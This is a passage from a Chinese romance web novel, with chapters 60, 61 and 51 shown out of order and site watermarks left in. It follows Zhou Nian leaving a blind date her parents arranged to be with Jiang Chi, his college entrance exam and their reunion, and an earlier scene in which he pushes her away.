她眼睁睁看着他的影子覆上来,浴室里漏出的微光,将他的眸光悉数照尽。明明烫得人发慌,却在掠过她惊恐的眼睛时,硬生生往下压了压喉结。 他稍稍恢复神志,刻意压制气息,凝视她的眼睛。 “害怕了?” “嗯。” “周念,我想要你。” 周念颤抖着气息,看着他的眼睛。 “江池,你想好了吗?” “什么?” 她的眼神逐渐镇定,口吻也异常平静。 “关于那些流 言蜚语,关于你母亲的死,所有的所有,你都能咬碎牙关否认与我相关的因果吗?” 闻言,江池脑袋一沉,陷进她的颈窝,耳边又是她温柔坚定的话语。 “江池,我不希望我们的感情稀里糊涂的开始,不明不白的结束,我要你毫不犹豫,义无反顾地走向我。” “你做得到吗?” 周念感到颈侧突然漫过一片潮凉,江池将她紧紧搂住,没给答案。 “没关系,时间还长,我不要你一时冲动的答案。这次换我等你,多久都行。” 无尽的沉默中,江池终于开口。 “好。” 第60章 第60章这场相亲我也是才被告知…… 转眼便是大年三十,周念终究还是要回家与家人团聚。 街道上店铺闭门,行人寥寥,枯枝残叶间的排排红灯笼显得有些格格不入。 宽广的马路上,来去车辆屈指可数。 周念窝在副驾驶座上,透过室内后视镜观察江池的表情,可他面色如常,找不出一丝试图挽留的迹象。 “砂锅里有炖好的鸡汤,一会儿把虾去头去线放点葱姜蒸一下,冰箱底下有捆青菜,取出来炒着吃。”周念暗忖着是否还有遗漏:“对了,鱼你会杀吗?” 江池打转向的时候笑了笑。 “厨房我比你清楚,而且我一个人吃得了那么多吗。” 他语气轻松反倒叫周念心疼,单单两句话又让气氛陷入死寂。 江池观察着四周车流,余光却留意着身侧,那句‘今晚还回来吗?’终究没说出口。过去几年他都是独自过年,偶尔被亲戚朋友邀请,但性格使然,一个人反而落得自在。 可人性贪婪,拥有过便舍不得回到过去。 他私心周念能留在自己身边,但也知道这是奢求。 手机在大衣口袋振动,周念慢条斯理地取出手机,接通叶琳的来电。 “小念,我妈说今晚我们两家一起吃年夜饭。” 照理两家人还没交好到一起过年的情分,但周念懒得细究,只顺着叶琳兴奋的口吻回。 “是吗?那很好啊。” “你想吃什么,我一会儿去买。” “都行。” “酒喝吗?上次妙妙男朋友给带的梅子酒没喝完。” “我不会喝酒。” “又不斗酒,微醺一下嘛。” “可以。” 挂完电话,车子已经驶入弄堂,江池把车停在距离周念家几十米的马路上。他率先打发人:“还舍不得走?” 周念将大衣拢了拢:“车里暖和。” 清楚她口是心非,江池继续赶人。 “走吧,我一会儿去阿明家过,总不能空手去,去晚了超市都关门了。” 周念这才下车。 回到家,周念在玄关换鞋时,眼尾扫过茶几上堆成小山的水果零食,张宁听到动静,从出厨房探头张望。 “回来了?” “嗯。” “你们组也真是的,大过年的还不舍得放人。”张宁抱怨了几句,迟迟等不来反应,便转了话题:“一会儿有客人要来。” 周念换完鞋,走至餐桌前,捡了个草莓,咬下草莓尖。 “是叶阿姨一家吗?” “是啊。” “今年怎么想着跟叶阿姨家一起过。” 张宁把不常用的茶具取出,慢慢清洗。 “不好吗?你跟琳琳一起也热闹。” 吃完草莓,周念又在琳琅满目的零食上扫视着,最终也没选出合口味的。 “挺好的,妈,需要帮忙吗?” “不用,今晚年夜饭直接跟酒店预订了,到时候送来,省得我费心。” 无事可做,周念干脆上楼歇觉。这些天给江池补课,她每天都熬到凌晨,本想小睡一会儿,不想竟睡得昏天黑地,醒来时窗外已泛天青色。 江池的电话来得正好,既没打扰她休息,又打发了醒后的空闲时光。周念没起身,侧卧着将手机举到耳边:“怎么了?” “想听听你的声音。” 那头声音空旷,不像在室内。 “你在哪儿?到徐明家了吗?” “还没,买东西耽搁会儿。” 不知为何,从他平淡的语气里听出一丝寂寥。周念侧身面朝墙,手机随之挪到左耳旁。 “我今晚回去陪你。” 那头静了秒,接着说:“不用,阿明他们不一定放我走。” 一阵突兀的开锁声从门外传来,所幸门被周念反锁。张宁在门外没好气地嘟囔:“自己家里锁什么门呀。” 周念捂着话筒快速说道:“我先挂了,一会儿说。” “嗯。” 周念挂断电话,趿踏着拖鞋,不紧不慢地起身开门。 张宁侧身进门,视线在屋内快速游移,最终落在被褥上的手机。 “跟谁打电话呢?还关门。” “大学室友,拜年呢。” 张宁听罢,态度有所好转,只身来到衣柜前,从里面取出一个衣架,衣架上挂着一条黑色低领连衣裙。 她满意地扫视着裙子,将它递给周念:“一会儿有客人来,你就穿这个,大大方方的,好看。” 早料到今天不会只有叶琳一家客人,或许这顿饭的意义并不止于团圆,而是别有目的。只是这种未经同意就被通知的行为让周念心生反感。 她将衣服随意扔在床上,冷冷道:“太单薄了,容易感冒。” 张宁又将衣服捡起,取下衣架,递到她手里:“外头再套件大衣就行了。” 是不容置喙的口吻,下楼前,张宁又回头叮咛:“涂点口红,显气色。” ** 送走周念后,江池没即刻离开,而是百无聊赖地点了根烟。哪有什么徐明的邀约?不过是怕她大年夜心不在焉胡思乱想,才随口扯的谎。 点完烟,他毫无目的地驾车转了一圈又一圈,最终回到了那个路口。 在车里小憩一会儿,又终于忍不住给周念打去电话。 今年除夕的天气不错,和风旭日,可过了五点,银城的天就会即刻变脸,阴沉沉地暗下来。 江池坐在驾驶室无所事事地把玩着打火机,一簇幽蓝火苗明明灭灭。 目光却一直停留在那座小洋楼上,正当他打算移开视线时,一辆白色小轿车由远及近驶进那条弄堂,停在洋楼几米开外。 最先从车身阴影里钻出来的,是个身着衬衫的男人,估摸二十五岁上下,个头不高,相貌平平,没有任何记忆点。他走去开后车门,紧接着一男一女下了车,两人穿着得体,鬓边发灰,看模样应该是男人的父母。 男人从后备箱取了些礼品,便引着身后的男女一同走近小洋楼。 三人在弄堂口站定,他仰头辨认门牌号,最终敲响了周念家的门。 开门的是周宏伟,只见他站在门口与之寒暄两句,即刻将几人引进家门。 大门将江池的视线隔绝在外,他才收回目光,垂眸看向打火机,他无端地想着,刚才那个穿衬衫的男人应该有一份体面的工作和美满的家庭。 周念是被张宁催促着下了楼,她没按张宁的要求乖乖穿上那条连衣裙,而是随意地披了件棉睡衣。张宁见到她下楼时,整张脸登时拉了下来,但有客人在,她不好发作,只得笑盈盈地将周念推至陈树面前。 “真不好意思,让你们见笑了,念念比较忙,这不刚睡醒,连衣服都忘换了。” 陈树倒不介意,反而颇有风度地帮腔:“哪里,团圆饭本就应该随意点。我看这样就挺好。” 说完,伸出手。 “你好,我叫陈树。” 周念虽不喜欢像提线木偶一样被操控,但基本的礼数不敢懈怠。 她伸手去握:“你好,叫我周念就行。” 说完,张宁又推着她走到陈树父母面前:“叫叔叔阿姨。” 周念礼貌颔首:“叔叔阿姨,你们好。” 面前两人用审视的目光端详着周念,最后相视点头,陈母才说:“念念是吧,我听你叶阿姨说,你是个从小到大都让父母很省心的孩子。” 周念蜷了蜷手指,并不想多做回应, 所幸这时门又响了。 这次换周念去开门,门一开,叶琳就一脸歉意黏了上来,低声道:“对不起呀,我不知道我妈还来这出。” 周念面色如常:“没关系,迟早的事。” 三家人聚齐,相互寒暄,攀谈了会儿刚好就是饭点。于是,周宏伟邀请大家一一落座。 叶琳眼疾手快抢先坐下,随后伸手揽住周念的手:“小念,我要跟你坐。” 叶硕适时瞟去白眼:“那么大了还不懂事。”转眼,又笑着牵过周念的手,将她按在陈树身边的座位上。 “两个年轻人坐在一起方便说话,正好交流一下感情。” 即已坐定,周念也不好再换位置,免得弄得大家难堪。 余温褪尽,银城的夜较白天又低了十几度,江池依着车门点了根烟,抽到一半,脚步不自觉地拐向熟悉的巷子,不知不觉已在周念家门前驻足,她家的餐桌靠着一整面落地窗,暖黄的灯光透过玻璃,在周围的灌木上晕染出细碎的光斑。 江池平静地盯视着周念,转而又看向她旁边的男人,了然般无奈笑笑,他踢了脚路边的小石子,手机在口袋里反复摸索,最终忍不住给周念发了微信。 ——吃了吗? 周念看到微信,唇角不经意勾起。 ——嗯,在吃,你呢? ——吃完了。 ——那么快? ——也不饿。 “对了,我拿了酒来,小念,我俩喝点?”叶琳侧身从桌边地上取出一桶由矿泉水瓶装的黄色液体。 “妙妙朋友托人带的,土方子酿的,好喝。” 说完,借着倒酒的契机在周念耳边低语:“这算什么怎么回事啊,气氛也太怪了。” 正说着,身侧的陈树端起酒杯问道:“我能尝尝吗?” 叶琳当即摇头:“不好意思哈,我可馋这一口了,就这些了,下次要有我给你带两瓶。” 说完,迎着叶硕狠狠的瞪视俏皮地吐了吐舌。 陈树风度不减,为免尴尬,自抛话题:“我也认识一些酿酒酿得不错的朋友,有机会也拿些来给大家尝尝。” 说罢,偏头看向周念,犹豫了秒,开口便是一声自来熟的‘小念’。 周念被叫得浑不自在,却也没露出半分嫌厌,只是礼貌地回敬他的目光。 “你对喝酒感兴趣?” 周念端起酒杯,若有所思地浅尝一口,然后点头。 果然,陈树父母脸上的笑容瞬间变得僵硬。 张宁留意到陈树父母的脸色,即刻切换话题。 “小陈的单位和我们家宏伟的单位挨得挺近吧。” 陈树思考片刻,目光转向张宁与周宏伟之间的空隙:“是的阿姨,我那单位跟周处长所在的教育局只隔了一条马路。” 周宏伟微笑着接话:“什么处长不处长,叫我周叔叔就行了。” “是,周叔叔,我敬您一杯。” 周宏伟虽有迟疑却仍端起酒杯。 “小陈能喝吗?你不是要开车。” “能喝能喝,敬您的酒怎么不能喝,一会儿我叫个代驾就行。” 周宏伟似乎对他的为人处事颇为满意,便露出欣慰的笑容。 周念抿了口酒,只觉席间无趣,低头给江池发微信。 ——什么时候来接我? 江池一愣,望向窗内的举酒杯的身影,明知故问打字。 ——吃完了? ——嗯。 ——不多待会儿? ——我想见你。 对话框里弹出四字,他看着“我想见你”忽然笑了,寒夜里的饥冷似乎都轻了几分,但他没告知实情,扯了个小谎。 ——阿明拉着我打牌呢,一时半会儿,过不来。 周念盯着屏幕双肩微垂,叹了口气,江池将她的小动作尽收眼底。 作为主人,张宁自然少不了夹菜,她将陈树的碗塞得满满当当。 “来小陈,多吃点。” 陈树双手端碗接过,嘴上却关切起身边人:“阿姨不用那么客气,倒是小念,看着太瘦了,应该多吃点。” 周念牵动唇角没有说话,张宁暗暗剜她一眼,又圆场道。 “别见怪,念念她从小就内敛,不知道怎么接话。” 见状,陈母接话道:“小念现在在读大三,以后什么打算。” 周念拨弄着面前的碗筷,不紧不慢地回答道:“有能力的话我想继续读硕读博。” “哦。”小陈母亲略显失望地拖了调子,追问道:“那就是一直会在北城咯。” 周念说:“嗯,是的。” 张宁用瓷碗盛了些鸡汤,端给陈树母亲,继而解释:“以后读完了还是会回来的。毕竟银城才是她的根基。你是不知道,我们念念什么都不行,唯独是块读书的料,往后几年用点功,硕博连读很快就能回来了。” 周念皮笑肉不笑地牵动嘴角,看向陈母说:“以后也不会回来。” 气氛到这降至冰点,场面一度尴尬。 为免持续尴尬,小陈打破寂静,转头询问周念:“小念平时有什么兴趣爱好吗?周末都是怎么过的?” 周念依旧是礼貌而疏离地回答:“我为人无趣,没什么爱好,再说实验室也挺忙的。” 周宏伟见状也忍不住皱眉,给周念抛去埋怨的眼神,他起身打起圆场:“实验室是忙,都没时间回家住,过了这阵子就好了。小陈呢,你有什么爱好吗?” 陈树也站起身,微微躬身:“其实我也比较忙,我这人比较木讷,但如果小念有什么喜欢做的事情,我倒是很乐意奉陪。” 周念面带微笑再次重复:“我没有爱好的。” 尽管周念温文尔雅礼貌应对每次盘问,但张宁看得出她在敷衍,甚至抗拒这次相亲。她起身离席,又给周念使了个眼色。 “念念,过来帮妈妈一个忙。” 周念双手垂在膝头,深吸一口气,胸线起伏一阵才慢慢地站立。 待她走进厨房,张宁反手扣死玻璃门,声音压得极低。 “我让你换裙子为什么不换?而且你刚刚都说了些什么?说什么再也不回银城,你是成心要在陈家人面前拆我的台?” “您叫我来,就是为了说这个?” 周念往后退半步,后腰抵在冰凉的台面上。 “没什么事,我就先出去了。” 周念的手指刚勾住把手,张宁的手就从斜后方抄来,不是扯,而是整个手掌扣住她手腕,像扣住一只试图撞向玻璃的麻雀,被生生拽回原地。 “你什么态度啊?” “没什么态度。” 对比起张宁咄咄逼人的架势,周念反而一如往常,淡漠道:“我说过,我不着急。” “什么叫你不着急,小陈人品好,事业好,家庭出身都不错。妈是为了你好,给你早点铺好路。” “什么是为了我好?一切都听你的,才叫为了我好吗?” 张宁只觉得太阳穴突突地痛,周念每句话都精准地踩在她神经上,气得她身体不由自主地颤动,但现在不是发作的时候,只能克制情绪,好生相劝。 “大过年的,我不想闹得太难看。一会儿出去你就好好地跟小陈说话,不要阴阳怪气,不要敷衍,真诚一点。” “听到没?嗯?” 她歪着脑袋去够周念低垂的目光,待周念缓缓抬起头直视她的眼睛一字一句地说道。 “妈,实话告诉你,我喜欢的一直都是江池。” “你疯了?” 张宁气得扶额,原地转了半圈:“你要不要听听你在说什么?” “没听清吗?”周念说:“那我再说一遍,除了江池,我谁也不要。” “谁都可以!” 张宁突然转身,指尖几乎要戳到周念的眉心。 “就他不行!” 周念镇定地望向她,语气中带着一丝轻蔑和笃定。 “您说了不算。” 两人无声地僵持在原地,这时门被敲响,是叶硕的声音。 “阿宁啊,那么久不出来,需不需要帮忙?” 张宁狠狠地剜过周念,在门前深呼吸,调整心态后笑着开门。 “不需要,不需要,我马上出去。” “好,我还以为有什么事呢。” “没有,没有。” 应付完叶硕,她又回头:“你站在这里反思一下,什么时候想明白了再出来。” 出门前,又顿足。 “至于江池,只要你妈我还有一口气在,你们两就没戏。” 对于张宁的所作所为,周念谈不上难过,只觉得有点压抑,像被人揪着心脏,每一次起伏都牵动脉络,扯得 生疼。 她垂眸走到水池前,无意识地打开水龙头,流水哗哗地往外冒,在池子里漫成小水洼,又被下一波水流冲走。 口袋里的手机微微一震。 思绪被牵回脑中,她打开手机,看到江池发来的‘怎么不开心?’时倏然抬头,看向窗外。 橘色光晕把对面马路切割成明暗相间的棋盘,江池就站在那束光的边缘,他歪头时,羽绒服领口蹭过下巴。唇形在路灯下格外清晰,每个音节都带着呵出的白气。 “吵架了?” 原本只是麻木,但看到他时,心底的委屈彻底爆发,她鼻头一酸,轻轻点了点头。 周念即刻拨通他的电话,两人隔着双层玻璃,听筒里的电流声混着远处烟花爆竹的鸣音,谁也没说话。 良久,周念才带着浓重的鼻音开口。 “没去徐明家吗?” 江池不想说谎,点了点头‘嗯’。 “外面不冷吗?” “有点。” “你等我,我马上来。” 一众人眼睁睁看着周念冲出厨房,小跑上楼,张宁尴尬地牵动唇角,解释说:“平时她不这样,做什么都轻手轻脚的,今天也不知道怎么回事,风风火火的。” 等她再次下楼时,身上已经穿上那件黑色连衣裙,外头又裹了大衣,连嘴唇都抹了口红。正当张宁以为她开窍时,只见她缓步走到陈树面前,对他礼貌的鞠了一躬。 “对不起,浪费你时间了,这场相亲我也是才被告知的。” 说完又踱步到叶硕面前。 “叶阿姨,太抱歉了,让您忙活半天,感情上的事,以后不用再帮我张罗了,我自己有合适的人选了。” 话毕,目光转向小陈父母,只见她微微颔首:“抱歉。” 叶琳眼看主位张宁和周宏伟的眼神不对劲,立刻起身拉住周念的胳膊,紧张道:“小念,你要去哪儿啊?” “别担心。” 周念将她的手从胳膊上拂去,正欲出门,后头传来周宏伟怒不可遏地质问:“你要去哪儿?” 周念没回头,伸手去拉门把手。 “周念!” 周宏伟暴怒:“你到底想做什么,你要是出了这个门,以后就别回来!” 周念定了定神,回头去看周宏伟,嘴边扬起一抹不易察觉的讥诮笑意:“最没资格说我的就是您。” 周宏伟一怔,不自觉踉跄后退,往事种种夹杂着心虚之感浮上心头,他慢慢移开视线,居然在与她的眼神对峙中败下阵来。 周念拉开门,冷空气灌进领口,她迎风吸了口气,马路对面的身影在呼出的白雾中逐渐明朗。 她小跑至对面,气息尚未平复,仰头看向江池。江池低头替她拂开被风吹乱的刘海,指尖掠过她的耳垂,最后用手掌温热她冰凉的脸蛋。 他垂下眼睑,挑眉道:“不吃了?” 周念没答话,只将手指探进他掌心,他立刻收拢五指,将她的手一并伸进口袋。 周念说:“我没吃饱。” 江池低笑一声:“那回家?” “嗯。” 大年夜,半个小时的路程,车辆恍如穿梭在异时空,几乎没有碰到什么车。 车子稳稳地停在单元楼楼下,路灯把枯枝影子烙在挡风玻璃上。江池熄火,发动机余音消散,他转头去看周念。而周念正皱着眉头,目不转睛地盯着他,眼底竟浮着一种说不清道不明的情愫。 江池:“怎么啦?” 周念没答话,安全带卡扣“咔嗒”松开的声响格外清脆,她膝盖抵着中控台,大衣纽扣拉链刮过换挡杆,在他喉结滚动的瞬间,整个人跌进他怀里。 江池的手掌下意识悬在她后腰。 “你一直都在我家楼下?” “嗯。” 江池的视线在她脸上轻轻逡巡,先是掠过她颤动的眼睫,接着滑过她的鼻尖,停在微张的唇上。 下一秒,她鼻尖已抵住他,梅子酒气混着凉意涌进呼吸。【你现在阅读的是魔蝎小说 moxiexs】 第61章【结局】 第61章 第61章结局 项目进展很顺利,实验数据反复核实后没有偏差,领导班子直接宣布提前两周完成项目,周念再没借口留下,不得不提前返回北城。 她走的那天,是周宏伟和张宁前去送行的。 亲人之间的争执总会在一方妥协之后结束,自那天起,张宁不再过问她的感情,也没有特意提及江池。 那天江池也去了机场,他比周念提前到达,从头到尾都没有下车,只是将车停靠在航站楼边上,为的仅仅是远远地看一眼。 接下来,日子照常,江池请了知名教师一对一辅导,没日没夜地学习,过着大门不出,二门不迈的日子。 前几个月,两人会天天通话,都是些不痛不痒无关紧要的废话。也有几次,江池会突然沉默,周念察觉到了他的情绪,她总会像给小猫顺毛一样安慰几句。这让江池很受用,一天的倦意也随之消散。 每个节假日前夕,江池提出想来北城,都被周念以课业忙为由拒绝。一来担心他来了难以收心,回到原状态会吃力;二来她要补本学期首月落下的功课;此外,她参与的几项科研项目正冲着拿奖和论文,实在抽不出时间陪他。 临近高考那几日,周念不敢再打扰他,把原先的视频电话都换成了寥寥几句微信文字,简短得近乎冷淡。 高考结束那天,宿舍里的话题始终围绕着考试打转。另外两人有一搭没一搭地聊着当年高考的情形,唯有周念静坐在桌前,目光呆滞地盯着手机。 “这天热得跟蒸笼似的,还好不是我考试,不然非得热得打瞌睡不可。”林薇薇把毛巾随意甩在肩头,端着脸盆从卫生间走向阳台,路过周念时往这边带了眼:“怎么啦?魂不守舍的?” 周念缓了缓神,点亮手机屏,依旧没有消息。 “没事。” 林薇薇将脸盆搁在窗台上,拿出洗净的牛仔裤,抖落水珠,挂上衣架。 “最近怎么没跟你小男友打电话啊。” 林薇薇对周念“小男友”的推测自有一套逻辑,凭借这段时间的观察,发现周念每晚会接到一个固定电话,偶尔几次听过电话那头传来低沉悦耳的男声,又频繁提及‘高考’、‘复习’诸如此类的词,所以笃定周念是恋爱了,而且是姐弟恋。 等等!高考! 她捕捉到重点词,顿时了然:“你男朋友这两天高考?” 江池的电话就是这个时候打来的。周念拿着手机,边接通边往阳台走。 “考完了?如何?” “嗯。” 江池拖了长音,漫不经心地回了句:“什么如何?” 周念鼻息有点重:“考得如何?” “不好说,这得问阅卷老师。” “” 当时林薇薇正一脸八卦地凑近手机偷听,江池这番没个正形的回答,直接把她逗得忍俊不禁。 周念咬了咬唇:“江池,好好说话!” 江池轻笑了声,老实交代:“能写的都写了,不能写的也蒙了。” 周念倒不奢求他能考211、985,毕竟复习的时间太有限,只盼着他能有更多选择,当然如果他能考来北城那是最好的。 她问:“那你这会儿在做什么?” 当时,江池正驾车穿行在车流中,远处的夕阳宛如车河中的一盏耀眼尾灯,绚烂夺目。听到周念的问题,他不自觉地弯起嘴角。 “去吃饭的路上。” 周念看了眼时间,五点二十分。 “周念。” “嗯?” 电话里清晰传来他的吞咽声。 “你准备怎么奖励我?” 周念本能地把手机拿远,但这句话来得突然,还是被林薇薇听见了。只见她在一旁挤眉弄眼,满脸揶揄。 周念轻咳一声,快步离开阳台。 “等你成绩出来再说。” 机场在城郊,江池到机场时距离飞机起飞还剩四十分钟,所幸身上没带行李,不然办理完托运流程不一定赶得上。 起飞前,江池给周念发了一则微信。 ——门禁是几点? 没等来周念微信,飞机就起飞了。 银城到北城,整整飞了三个小时,下飞机时,江池先看时间。 21:45。 再看周念的微信。 ——晚上十一点。 ——? 江池如离弦之箭般大步流星地穿梭在机场廊道,他顺着指示牌一路向前,一出航站楼,他径直拉开路边候客出租车的车门,动作利落得惊得司机师傅手中的烟都颤了颤。不等对方开口询问。沙哑的嗓音裹挟着不容置疑的急切。 “首府大学,师傅,麻烦赶个时间!” 江池坐在后排,目光死死盯着手机导航上蜿蜒如血丝的红色路段,心头有点焦躁。他试图劝服自己‘其实明天见也不是不行’,但这样的想法毫无说服力。 他的身和心,统统想见她,捱一刻都难受。 他深吸口气强迫自己冷静,转而望向车窗外。霓虹光影在玻璃上流转,而镜面却悄然映出周念的影子。刹那间,无数个她的模样在镜中交替,安静或是委屈,微笑或是难过,每一幅画面都迅速延展成记忆里的片段,在他脑中反复涌现。 车内萦绕着舒缓的音乐,江池安静下来,耳边却隐约响起她的声音。 ——江池,你能不能等我一年? 没想到这一年漫长到需要四个春夏秋冬去填补。 车子到达首府大学时,距离周念寝室门禁还有二十分钟,江池问门卫寝室楼的具体地点,一路飞奔,到达楼下时仅剩十分钟。 他喘着大气站在楼底给周念电话,响了半分钟,无人接听,又改微信,照旧没接。他有点后悔,早知如此,该提前告知行程,可又担心计划赶不上变化,反倒空留遗憾。 所幸在最后几分钟里,有人从他身边经过,正朝着宿舍楼疾步而去。 “同学。” “嗯?” 林薇薇停下脚步,疑惑地转过身,看清江池的模样时眼睛都快瞪直了。 “麻烦你帮我叫一下302宿舍的周念。” “周念?”林薇薇目光中满是狐疑,不确信地迟疑:“你是江池?” 不知怎的,方才偷听到周念电话里这个名字时,便鬼使神差地刻进了脑海。虽然知道这个疑问很荒诞,可她还是问了。 江池:“你认识我?” 真是江池!林薇薇走近些:“周念男朋友,对吧。” 林微微快速打量他,一瞬间,她忽然懂得了为何周念对其他男人都提不起兴致。 时间太赶,他只点头:“来不及了,麻烦尽快。” “好嘞。”林薇薇抬脚一蹬,加速快冲:“包在我身上。” 宿舍开外三四米,林薇薇抑制不住的兴奋声就传到了周念耳朵里。 “小念!江池来了。” 周念刚洗完澡,头发半干,听见这话只是漫不经心地应了声。林薇薇这人素来爱开玩笑就没把这事放心上。 “他才刚考完。” 周念边说边插上吹风机电源。 林薇薇三步并作两步冲过来,一把拽下她手里的吹风机,不等周念反应,她已经扯着人往窗台边拖,指着楼下的人说:“你自己看!这是你男人吗?” 周念垂眸望去,江池蓦然仰头,两道视线在渐浓的夜色中交织,他先是愣了半秒,而后嘴角不受控地扬起。 她对着楼下用力挥手,声音里带着连自己都没察觉的颤意。 “等我!” 周念穿着睡裙狂奔下楼,一路上,脑海里总闪过他被烟雾笼罩的模糊剪影。而此刻,那片黑暗轰然碎裂,光芒中,他立在路尽头,笑意清朗,如同拨云见日。 周念走出宿舍楼,站在楼外喘息。不远处,江池正看着她,还是记忆中的模样,轻歪脑袋,眉梢微挑。 两人相隔数米,一时无言。 不知为何,周念喉头突然发紧,她有点鼻酸,连眼尾都有些发痒。 江池终于开始迈步子,耳畔回响着她那时的话。 ——我要你毫不犹豫、义无反顾地走向我。【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 第51章你难过,我又好得到哪里…… 昨夜的酒让周念头疼了一晚,今天又赶早去医院报到,一天下来,她几乎精疲力竭。本打算在楼道坐等一会儿,没想到刚坐下就迷迷糊糊睡着了。 蜷缩着睡了一个多小时,醒来双腿发麻几乎失去知觉。周遭昏黑无光,周念恍惚一瞬,才缓缓记起这是哪里。她用手揉捏双腿,揉了半天才慢慢恢复知觉。 ——江池真的住在这里吗? 她皱眉看向黑漆漆的楼道,没由来地叹了口气。 刚才手机震动过,周念睡得死没注意,是郑渊发来的一组图片。 ——这是今天的数据, 明天你再做一组,过程把控要严谨,结果要确保万无一失,不能有任何差错。 不知是文字过于规矩死板,还是生活中的郑渊思维过于跳脱,周念无法想象这段严谨的话语竟出自郑渊之口。 她回复说‘好’。 她想就明天的实验征询郑渊意见时,楼道里突然响起脚步声,步子很轻,拾级而上的速度正在减慢。 不知为何,直觉告诉她,来人就是江池。周念触电般起身,摸黑下楼,她刚有动静,楼下的脚步倏地消失。 相遇的瞬间,两道剪影,一上一下,猝然停顿。 暗中,两人沉默着望向彼此。 江池,是你吗? 黑暗的世界里,声音被无限放大,她惊讶于即使他什么都不说,仅仅只是呼吸,自己都能认出他来。 江池依然沉默,半晌,迈着步子一路向上,两人即将正面相遇时,周念闻到了久违的独属于他的气息。他顿了顿,往右跨步,绕开周念与她擦身而过,最终停在三楼门口,掏出钥匙,摸黑开门又关门,期间,不曾回头多看她一眼。 看着重归死寂的楼道,周念竟突然扬起唇角——终于找到你了。 江池如木偶般背靠铁门发呆,装烟酒的塑料袋簌簌滑落。 沉默数秒,他摸黑走到窗前,看向地面。不多时,视野中闯入了周念的身影,她走得不徐不疾,走至拐角时顿了顿,猝然回眸,看向这头。 可惜,她什么都看不到。 直到她消失在拐角,江池才走去开灯,亮灯的一瞬,手机震动。 ——我明天还会来。 ** 第二日中午。 江池是被徐明的电话震醒的,防止他一个人在家想不开做傻事,每天中午十二点,徐明和宋佳月都会轮流炮轰江池,直至他给出回应才肯罢休。 江池洗漱完,路过门口时莫名停下,他瞥了眼门缝,回房间穿好衣服带上手机出门。门一开,目光下意识地落向昨晚周念蜷坐的台阶上,他不动声色地扫了眼,继续下楼。 在便利店漫无目的地绕了两圈,实在不知道买点什么,只从冰柜里取了两瓶水买单结账。结完账,无处可去,在便利店门口看了眼手机就折返回家了。 江池第二次出门是傍晚五点钟,此时,太阳落山,夜幕未至,楼道还不算太黑。他照旧套上羽绒衣揣着手机就出门了,开门时,视线不经意扫过那级台阶,台阶上没人。 这次买的是烟,其实昨晚的还没抽完,他站在柜台前挑了包不常抽的牌子。便利店老板对他有印象,笑问他‘今天怎么换口味了’。江池垂眸付钱不予理会。待他离开便利店,老板才敛起笑意哼声说‘每天挂着个脸,不知道在拽什么劲儿’。 江池坐在便利店的长椅上抽了两根烟,天空拉下墨色帷幕,他碾碎烟蒂凌空抛向垃圾桶,又迈着步子上楼了。 那级台阶上,照旧是空的。 周念差点忘了,今天是项目组第一次聚餐,院领导和带队导师都会参加。这顿饭从傍晚六点吃到了晚上九点,周念低头看了几次手机,边上一个大腹便便的秃头领导留意到周念的举动,笑着问:“小姑娘,着急走啊?” 周念回之微笑:“是啊,我得走了。” 桌上人刚刚还在三三两两相互恭维,看到这小姑娘说话那么直,怕是要得罪领导,一个个都看热闹不嫌事儿大地往这头瞟。 这一说,秃头领导反而被动了,只见他干笑两声继续追问:“什么事情?那么重要。” “是实验室里还有些尾没收,我去收尾是最合适不过的。” “哦。”秃头领导拖着长音,挥挥手道:“去吧去吧,实验要紧。” 周念在出租车上眯了会儿,到江池家楼下时快十点钟。她站在单元楼门口,从外向里看,楼道口仿如一个深不见底的黑洞。她走至第一级台阶,用力的踏出声音,抬头张望,直至回音消失,都没有亮灯。 她心想,只能摸黑上楼了。 周念扶着楼梯走到二三楼的拐角时,江池的门开了,光亮从门缝透出,继而照亮整个楼道。 刹时,两道目光毫无征兆地撞进彼此眼底。 仅仅一瞬,江池眼尾轻轻扫过,视线随着身体的转向而游移到别处。只见他领着一个黑色塑料袋,反手将门带上。周围世界重归黑暗,他的身体又变成一道剪影。 他往下走与昨天一样绕开周念与她擦肩,路过的一瞬间,周念伸出手,抓住他的垂落的手腕。 “江池,我来看你了。” 江池没有回头,继续往下走,手腕轻轻一拽,甩开周念的钳制。周念原地提了口气,慢慢跟在他身后。 只见他走出单元门,走到公共垃圾桶旁将手里的塑料袋往里一扔,回身时从裤袋里摸了包烟,站在附近点了起来。 周念站在单元楼门口,目光直白地看向他,直到他再也受不了,目光一沉,将手里的烟蒂往下一扔,大步走向周念抓起她的手腕就往楼道里拽。 周念还未反应过来,只觉得手被拽的生疼,等她缓过神人已经被江池死死抵在一楼墙面。 他狠狠从牙缝中挤出字:“想看什么?” 周念看着欺压而来的黑影,耳边是他粗重的喘息,整个人恍若蛰伏在黑暗中的野兽,仿佛下一秒就会扑上来啃噬自己的骨髓。 江池双手抵住她的肩,刻意压制气息。 “看我是不是真的被你毁了?看我还能熬几天?看我过得到底多凄惨?还是来欣赏你一手策划的人生?” “看到了吗?满意了吗?” “嗯?” 暗中,无人回应,只有两道克制的气息交缠其中。他看不清她脸上表情,却看得到微弱光线映照出的泪痕。一颗眼泪从眼角滑落,砸向他的手背,江池触电般收回手。 周念挺身,往前一步,仰头看着近在咫尺的黑影。 “所以你是这样想我的?” 带着嗤笑地鼻息喷在她的前额。 “难道不是吗?” 他笑,她也跟着笑。 “是,感情上的事我统统承认,接近你也好,欺骗你也好,为的就是让你爱上我。” “但是这种伤敌一千自损八百的伎俩真是太幼稚了。” “你难过,我又何尝好过?” 话音一落,江池几乎带着颤音呼吸,他连忙从口袋里摸出烟盒,颤抖着手去拿烟。 火苗一窜,两个泪人无处遁形。 他点了根烟,深深吸气,缓缓吐出,逐渐让自己平静下来。 “你走吧,别来找我了。” 周念看着游移的红点,静静地说:“我明天还会来。” 江池低骂一声,低吼:“我让你别来找我,听不懂吗?” 周念仍站在原地,不声不响也不离开。 江池吐了口烟,忍无可忍,又拽着她的手腕走出单元楼,一路往前走,将她拽到马路上。 “别在我眼前晃来晃去,滚!” 说完,头也不回地走了。 周念不着神色地看着他走远上楼,看着那间屋子亮灯。 她长长地舒了口气,给徐明打了电话,意料之中,被挂了。 只得给他短信。 ——你在哪儿,能去江池家里看看吗? 徐明收到短信后火烧火燎地赶到江池家中,一边把周念全家都问候个遍一边摸出钥匙开门。 浓重的烟味扑鼻而来。 屋内没开灯,死寂一片,透过路灯,隐约能看到几缕游丝般的烟雾在空中飘渺。 江池正默不作声地靠在沙发上抽烟。 徐明双肩一耷,松了口气:卧/槽,还好,还活着。 